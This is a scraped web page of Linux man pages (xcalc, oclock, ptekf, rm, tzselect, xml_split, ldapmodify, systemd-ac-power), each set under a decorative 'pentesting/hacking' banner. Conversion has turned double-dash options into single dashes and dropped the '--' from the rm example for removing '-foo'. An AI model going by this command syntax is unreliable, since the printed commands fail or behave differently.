Computes the factorial of the number in the display. The number in the display must be an integer in the range 0-500, though, depending on your math library, it might overflow long before that. The corresponding action procedure is factorial().

(
Left parenthesis. The corresponding action procedure for TI calculators is leftParen().

)
Right parenthesis. The corresponding action procedure for TI calculators is rightParen().

base
Changes the number base, as indicated by ‘DEC’, ‘HEX, or ‘OCT’ at the bottom of the calculator display. When in ‘DEC’ mode, numbers in the display are taken as being decimal (base 10). In ‘HEX’ mode, numbers are in hexadecimal (base 16), and in ‘OCT’ mode, numbers are in octal (base 8). The corresponding action procedure is base().

shl
Performs an arithmetic bitwise shift left, For example, entering “1 shl 2” should result in “4”. The corresponding action procedure is shl().

shr
Performs an arithmetic bitwise shift right, For example, entering “8 shr 1” should result in “4”. The corresponding action procedure is shr().

mod
Performs the modulo operation, which calculates the remainder when dividing the first number by the second. For example, entering “14 mod 8” should result in “6”. The corresponding action procedure is mod().

/
Division. The corresponding action procedure is divide().

*
Multiplication. The corresponding action procedure is multiply().

-
Subtraction. The corresponding action procedure is subtract().

+
Addition. The corresponding action procedure is add().

=
Perform calculation. The TI-specific action procedure is equal().

STO
Copies the number in the display to the memory location. The corresponding action procedure is store().

RCL
Copies the number from the memory location to the display. The corresponding action procedure is recall().

SUM
Adds the number in the display to the number in the memory location. The corresponding action procedure is sum().

EXC
Swaps the number in the display with the number in the memory location. The corresponding action procedure for the TI calculator is exchange().

+/-
Negate; change sign. The corresponding action procedure is negate().

.
Decimal point. The action procedure is decimal().

Calculator Key Usage (RPN mode): The number keys, CHS (change sign), +, -, *, /, and ENTR keys all do exactly what you would expect them to do. Many of the remaining keys are the same as in TI mode. The differences are detailed below. The action procedure for the ENTR key is enter().

<-
This is a backspace key that can be used if you make a mistake while entering a number. It will erase digits from the display. (See BUGS). Inverse backspace will clear the X register. The corresponding action procedure is back().

ON
Clears the display, the state, and the memory. Pressing it with the third pointer button turns off the calculator, in that it exits the program. To clear state, the action procedure is off; to quit, quit().

INV
Inverts the meaning of the function keys. This would be the f key on an HP calculator, but xcalc does not display multiple legends on each key. See the individual function keys for details.

10^x
Raises “10.0” to the number in the top of the stack. When inverted, it calculates the log (base 10) of the number in the display. The corresponding action procedure is tenpower().

e^x
Raises “e” to the number in the top of the stack. When inverted, it calculates the log (base e) of the number in the display. The action procedure is epower().

STO
Copies the number in the top of the stack to a memory location. There are 10 memory locations. The desired memory is specified by following this key with a digit key.

RCL
Pushes the number from the specified memory location onto the stack.

SUM
Adds the number on top of the stack to the number in the specified memory location.

x:y
Exchanges the numbers in the top two stack positions, the X and Y registers. The corresponding action procedure is XexchangeY().

R v
Rolls the stack downward. When inverted, it rolls the stack upward. The corresponding action procedure is roll().

blank
These keys were used for programming functions on the HP-10C. Their functionality has not been duplicated in xcalc.

Finally, there are two additional action procedures: bell(), which rings the bell; and selection(), which performs a cut on the entire number in the calculator’s ``liquid crystal’’ display.

ACCELERATORS

Accelerators are shortcuts for entering commands. xcalc provides some sample keyboard accelerators; also users can customize accelerators. The numeric keypad accelerators provided by xcalc should be intuitively correct. The accelerators defined by xcalc on the main keyboard are given below:

TI KeyHP KeyKeyboard AcceleratorTI FunctionHP Function
SQRTSQRTrsquareRoot()squareRoot()
ACONspaceclear()clear()
AC<-Deleteclear()back()
AC<-Backspaceclear()back()
AC<-Control-Hclear()back()
ACClearclear()
ACONqquit()quit()
ACONControl-Cquit()quit()
INViiinverse()inverse()
sinsssine()sine()
coscccosine()cosine()
tantttangent()tangent()
DRGDRGddegree()degree()
eee()
lnlnlnaturalLog()naturalLog()
y^xy^x^power()power()
PIPIppi()pi()
x!x!!factorial()factorial()
((leftParen()
))rightParen()
///divide()divide()
***multiply()multiply()
---subtract()subtract()
+++add()add()
==equal()
0..90..90..9digit()digit()
..decimal()decimal()
+/-CHSnnegate()negate()
x:yxXexchangeY()
ENTRReturnenter()
ENTRLinefeedenter()

CUSTOMIZATION

The application class name is XCalc.

xcalc has an enormous application defaults file which specifies the position, label, and function of each key on the calculator. It also gives translations to serve as keyboard accelerators. Because these resources are not specified in the source code, you can create a customized calculator by writing a private application defaults file, using the Athena Command and Form widget resources to specify the size and position of buttons, the label for each button, and the function of each button.

The foreground and background colors of each calculator key can be individually specified. For the TI calculator, a classical color resource specification might be:

XCalc.ti.Command.background: gray50
XCalc.ti.Command.foreground: white

For each of buttons 20, 25, 30, 35, and 40, specify:
XCalc.ti.button20.background: black
XCalc.ti.button20.foreground: white

For each of buttons 22, 23, 24, 27, 28, 29, 32, 33, 34, 37, 38, and 39:
XCalc.ti.button22.background: white
XCalc.ti.button22.foreground: black

WIDGET HIERARCHY

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xcalc. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

XCalc xcalc
        Form  ti  or  hp    (the name depends on the mode)
                Form  bevel
                        Form  screen
                                Label  M
                                Toggle  LCD
                                Label  INV
                                Label  DEG
                                Label  RAD
                                Label  GRAD
                                Label  P
                Command  button1
                Command  button2
                Command  button3
and so on, ...
                Command  button38
                Command  button39
                Command  button40

APPLICATION RESOURCES

rpn (Class Rpn)
Specifies that the rpn mode should be used. The default is TI mode.

stipple (Class Stipple)
Indicates that the background should be stippled. The default is ``on’’ for monochrome displays, and ``off’’ for color displays.

cursor (Class Cursor)
The name of the symbol used to represent the pointer. The default is ``hand2’’.

COLORS

If you would like xcalc to use its ti colors, include the following in the #ifdef COLOR section of the file you read with xrdb:

*customization: -color

This will cause xcalc to pick up the colors in the app-defaults color customization file: /etc/X11/app-defaults/XCalc-color.

SEE ALSO

X(7), xrdb(1), the Athena Widget Set

BUGS

HP mode is not completely debugged. In particular, the stack is not handled properly after errors.

AUTHORS

John Bradley, University of Pennsylvania
Mark Rosenstein, MIT Project Athena
Donna Converse, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

772 - Linux cli command oclock

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command oclock and provides detailed information about the command oclock, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the oclock.

NAME 🖥️ oclock 🖥️

round X clock

SYNOPSIS

oclock [-option … ]

DESCRIPTION

Oclock simply displays the current time on an analog display.

OPTIONS

-fg color
choose a different color for the both hands and the jewel of the clock

-bg color
choose a different color for the background.

-jewel color
choose a different color for the jewel on the clock.

-minute color
choose a different color for the minute hand of the clock.

-hour color
choose a different color for the hour hand of the clock.

-backing { WhenMapped Always NotUseful }
selects an appropriate level of backing store.

-geometry geometry
define the initial window geometry; see X(7).

-display display
specify the display to use; see X(7).

-bd color
choose a different color for the window border.

-bw width
choose a different width for the window border. As the Clock widget changes its border around quite a bit, this is most usefully set to zero.

-shape
causes the clock to use the Shape extension to create an oval window. This is the default unless the shapeWindow resource is set to false.

-noshape
causes the clock to not reshape itself and ancestors to exactly fit the outline of the clock.

-transparent
causes the clock to consist only of the jewel, the hands, and the border.

COLORS

If you would like your clock to be viewable in color, include the following in the #ifdef COLOR section you read with xrdb:

*customization: -color

This will cause oclock to pick up the colors in the app-defaults color customization file: /usr/lib/X11/app-defaults/Clock-color. Below are the default colors:

Clock*Background: grey
Clock*BorderColor: light blue
Clock*hour: yellow
Clock*jewel: yellow
Clock*minute: yellow

SEE ALSO

X(7), X Toolkit documentation

AUTHOR

Keith Packard, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

773 - Linux cli command ptekf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptekf and provides detailed information about the command ptekf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptekf.

NAME 🖥️ ptekf 🖥️

pTeX-enc Kanji Filter

SYNOPSIS

ptekf [options] [] in_file1 [in_file2 …]

ptekf –help | –version

DESCRIPTION

ptekf is a simple character encoding converter for input/output files of pTeX-family programs. This utility can be used to check procedures of character encoding conversion and guessing encoding which are impremented in pTeX-family i.e. (e)(u)ptex, (u)pbibtex, mendex and so on.

OPTIONS

-j
Specify output encoding ISO-2022-JP.

-s
Specify output encoding Shift_JIS.

-e
Specify output encoding EUC-JP.

-u
Specify output encoding UTF-8.

-J
Specify input encoding ISO-2022-JP.

-S
Specify input encoding Shift_JIS.

-E
Specify input encoding EUC-JP.

-U
Specify input encoding UTF-8.

-g –guess
Guess the input encoding (no conversion).

-G
Guess the input encoding and output to stdout or files.

-b –buffer
Output internal buffer without code conversion.

-v –version
Print version number.

-h –help
Print help message.

Default input/output encoding depends on kpathsearch parameters PTEX_KANJI_ENC and guess_input_kanji_encoding.

SEE ALSO

eptex(1), euptex(1), pbibtex(1), upbibtex(1), mendex(1)

AUTHOR

This manual page was written by Japanese TeX Development Community <https://texjp.org>. For more information, see GitHub repository <https://github.com/texjporg/tex-jp-build>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

774 - Linux cli command rm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rm and provides detailed information about the command rm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rm.

NAME 🖥️ rm 🖥️

remove files or directories

SYNOPSIS

rm [OPTION]… [FILE]…

DESCRIPTION

This manual page documents the GNU version of rm. rm removes each specified file. By default, it does not remove directories.

If the -I or –interactive=once option is given, and there are more than three files or the -r, -R, or –recursive are given, then rm prompts the user for whether to proceed with the entire operation. If the response is not affirmative, the entire command is aborted.

Otherwise, if a file is unwritable, standard input is a terminal, and the -f or –force option is not given, or the -i or –interactive=always option is given, rm prompts the user for whether to remove the file. If the response is not affirmative, the file is skipped.

OPTIONS

Remove (unlink) the FILE(s).

-f, –force
ignore nonexistent files and arguments, never prompt

-i
prompt before every removal

-I
prompt once before removing more than three files, or when removing recursively; less intrusive than -i, while still giving protection against most mistakes

–interactive[=WHEN]
prompt according to WHEN: never, once (-I), or always (-i); without WHEN, prompt always

–one-file-system
when removing a hierarchy recursively, skip any directory that is on a file system different from that of the corresponding command line argument

–no-preserve-root
do not treat ‘/’ specially

–preserve-root[=all]
do not remove ‘/’ (default); with ‘all’, reject any command line argument on a separate device from its parent

-r, -R, –recursive
remove directories and their contents recursively

-d, –dir
remove empty directories

-v, –verbose
explain what is being done

–help
display this help and exit

–version
output version information and exit

By default, rm does not remove directories. Use the –recursive (-r or -R) option to remove each listed directory, too, along with all of its contents.

To remove a file whose name starts with a ‘-’, for example ‘-foo’, use one of these commands:

rm -foo

rm ./-foo

Note that if you use rm to remove a file, it might be possible to recover some of its contents, given sufficient expertise and/or time. For greater assurance that the contents are truly unrecoverable, consider using shred(1).

AUTHOR

Written by Paul Rubin, David MacKenzie, Richard M. Stallman, and Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

unlink(1), unlink(2), chattr(1), shred(1)

Full documentation <https://www.gnu.org/software/coreutils/rm>
or available locally via: info ‘(coreutils) rm invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

775 - Linux cli command tzselect

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tzselect and provides detailed information about the command tzselect, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tzselect.

NAME 🖥️ tzselect 🖥️

view timezones

SYNOPSIS

tzselect

DESCRIPTION

This manual page explains how you can use the tzselect utility to view the installed timezone. It comes handy when you want to know what time it is in other countries, or if you just wonder what timezones exist.

tzselect is called without any parameters from the shell. It shows a list of about one dozen geographic areas one can roughly recognize as continents. After choosing a geographic area by number, a list of countries and cities in this area will be shown.

You can press the Enter key to reprint the list. To choose a timezone, just press the number left to it. If your input is invalid, the list will be reprinted.

You may press Ctrl-C to interrupt the script at any time.

Note that tzselect will not actually change the timezone for you. Use ‘dpkg-reconfigure tzdata’ to achieve this.

FILES

/usr/share/zoneinfo/

SEE ALSO

hwclock(8)

AUTHOR

Copyright 1998 Marcus Brinkmann <[email protected]>

Please see nroff source for legal notice.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

776 - Linux cli command xml_splitp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml_splitp and provides detailed information about the command xml_splitp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml_splitp.

NAME 🖥️ xml_splitp 🖥️

cut a big XML file into smaller chunks

DESCRIPTION

xml_split takes a (presumably big) XML file and split it in several smaller files. The memory used is the memory needed for the biggest chunk (ie memory is reused for each new chunk).

It can split at a given level in the tree (the default, splits children of the root), or on a condition (using the subset of XPath understood by XML::Twig, so section or /doc/section).

Each generated file is replaced by a processing instruction that will allow xml_merge to rebuild the original document. The processing instruction format is <?merge subdocs=[01] :<filename> ?>

File names are <file>-<nb>.xml, with <file>-00.xml holding the main document.

OPTIONS

-l <level>
level to cut at: 1 generates a file for each child of the root, 2 for each grand child defaults to 1

-c <condition>
generate a file for each element that passes the condition xml_split -c <section> will put each section element in its own file (nested sections are handled too) Note that at the moment this option is a lot slower than using -l

-s <size>
generates files of (approximately) <size>. The content of each file is enclosed in a new element (xml_split::root), so it’s well-formed XML. The size can be given in bytes, Kb, Mb or Gb.

-g <nb>
groups <nb> elements in a single file. The content of each file is enclosed in a new element (xml_split::root), so it’s well-formed XML.

-b <name>
base name for the output, files will be named <base>-<nb><.ext> <nb> is a sequence number, see below --nb_digits <ext> is an extension, see below --extension defaults to the original file name (if available) or out (if input comes from the standard input)

-n <nb>
number of digits in the sequence number for each file if more digits than <nb> are needed, then they are used: if --nb_digits 2 is used and 112 files are generated they will be named <file>-01.xml to <file>-112.xml defaults to 2

-e <ext>
extension to use for generated files defaults to the original file extension or .xml

-i
use XInclude elements instead of Processing Instructions to mark where sub files need to be included

-v
verbose output Note that this option can slow down processing considerably (by an order of magnitude) when generating lots of small documents

-V
outputs version and exit

-h
short help

-m
man (requires pod2text to be in the path)

EXAMPLES

xml_split foo.xml # split at level 1 xml_split -l 2 foo.xml # split at level 2 xml_split -c section foo.xml # a file is generated for each section element # nested sections are split properly

SEE ALSO

XML::Twig, xml_merge

TODO

optimize the code
any idea welcome! I have already implemented most of what I thought would improve performances.

provide other methods that PIs to keep merge information
XInclude is a good candidate (alpha support added in 0.04). using entities, which would seem the natural way to do it, doesn’t work, as they make it impossible to have both the main document and the sub docs to be well-formed if the sub docs include sub-sub docs (you can’t have entity declarations in an entity)

AUTHOR

Michel Rodriguez <[email protected]>

LICENSE

This tool is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

777 - Linux cli command ldapmodify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapmodify and provides detailed information about the command ldapmodify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapmodify.

NAME 🖥️ ldapmodify 🖥️

LDAP modify entry and LDAP add entry tools

SYNOPSIS

ldapmodify [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -a] [ -c] [ -f* file]* [ -S* file]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]]

ldapadd [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -c] [ -f* file]* [ -S* file]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]]

DESCRIPTION

ldapmodify is a shell-accessible interface to the ldap_add_ext(3), ldap_modify_ext(3), ldap_delete_ext(3) and ldap_rename(3). library calls. ldapadd is implemented as a hard link to the ldapmodify tool. When invoked as ldapadd the -a (add new entry) flag is turned on automatically.

ldapmodify opens a connection to an LDAP server, binds, and modifies or adds entries. The entry information is read from standard input or from file through the use of the -f option.

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapmodify must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually modify entries. Useful for debugging in conjunction with -v.

-v
Use verbose mode, with many diagnostics written to standard output.

-a
Add new entries. The default for ldapmodify is to modify existing entries. If invoked as ldapadd, this flag is always set.

-c
Continuous operation mode. Errors are reported, but ldapmodify will continue with modifications. The default is to exit after reporting an error.

-f* file*
Read the entry modification information from file instead of from standard input.

-S* file*
Add or change records which were skipped due to an error are written to file and the error message returned by the server is added as a comment. Most useful in conjunction with -c.

-M[M]
Enable manage DSA IT control. -MM makes control critical.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-P {2 | 3}
Specify the LDAP protocol version to use.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and modify extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Modify extensions:

  [!]txn[=abort|commit]

-o* opt***[=optparam]]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ , the command will require the operation to be successful.

INPUT FORMAT

The contents of file (or standard input if no -f flag is given on the command line) must conform to the format defined in ldif(5) (LDIF as defined in RFC 2849).

EXAMPLES

Assuming that the file /tmp/entrymods exists and has the contents:

    dn: cn=Modify Me,dc=example,dc=com
    changetype: modify
    replace: mail
    mail: [email protected]
    -
    add: title
    title: Grand Poobah
    -
    add: jpegPhoto
    jpegPhoto:< file:///tmp/modme.jpeg
    -
    delete: description
    -

the command:

    ldapmodify -f /tmp/entrymods

will replace the contents of the “Modify Me” entry’s mail attribute with the value “[email protected]”, add a title of “Grand Poobah”, and the contents of the file “/tmp/modme.jpeg” as a jpegPhoto, and completely remove the description attribute.

Assuming that the file /tmp/newentry exists and has the contents:

    dn: cn=Barbara Jensen,dc=example,dc=com
    objectClass: person
    cn: Barbara Jensen
    cn: Babs Jensen
    sn: Jensen
    title: the world's most famous mythical manager
    mail: [email protected]
    uid: bjensen

the command:

    ldapadd -f /tmp/newentry

will add a new entry for Babs Jensen, using the values from the file /tmp/newentry.

Assuming that the file /tmp/entrymods exists and has the contents:

    dn: cn=Barbara Jensen,dc=example,dc=com
    changetype: delete

the command:

    ldapmodify -f /tmp/entrymods

will remove Babs Jensen’s entry.

DIAGNOSTICS

Exit status is zero if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldapadd(1), ldapdelete(1), ldapmodrdn(1), ldapsearch(1), ldap.conf(5), ldap(3), ldap_add_ext(3), ldap_delete_ext(3), ldap_modify_ext(3), ldap_modrdn_ext(3), ldif(5).

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

778 - Linux cli command systemd-ac-power

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-ac-power and provides detailed information about the command systemd-ac-power, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-ac-power.

NAME 🖥️ systemd-ac-power 🖥️

ac-power - Report whether we are connected to an external power source

SYNOPSIS

systemd-ac-power [OPTIONS…]

DESCRIPTION

systemd-ac-power may be used to check whether the system is running on AC power or not. By default it will simply return success (if we can detect that we are running on AC power) or failure, with no output. This can be useful for example to debug ConditionACPower= (see systemd.unit(5)).

OPTIONS

The following options are understood:

-v, –verbose

Show result as text instead of just returning success or failure.

Added in version 253.

–low

Instead of showing AC power state, show low battery state. In this case will return zero if all batteries are currently discharging and below 5% of maximum charge. Returns non-zero otherwise.

Added in version 254.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success (running on AC power), 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

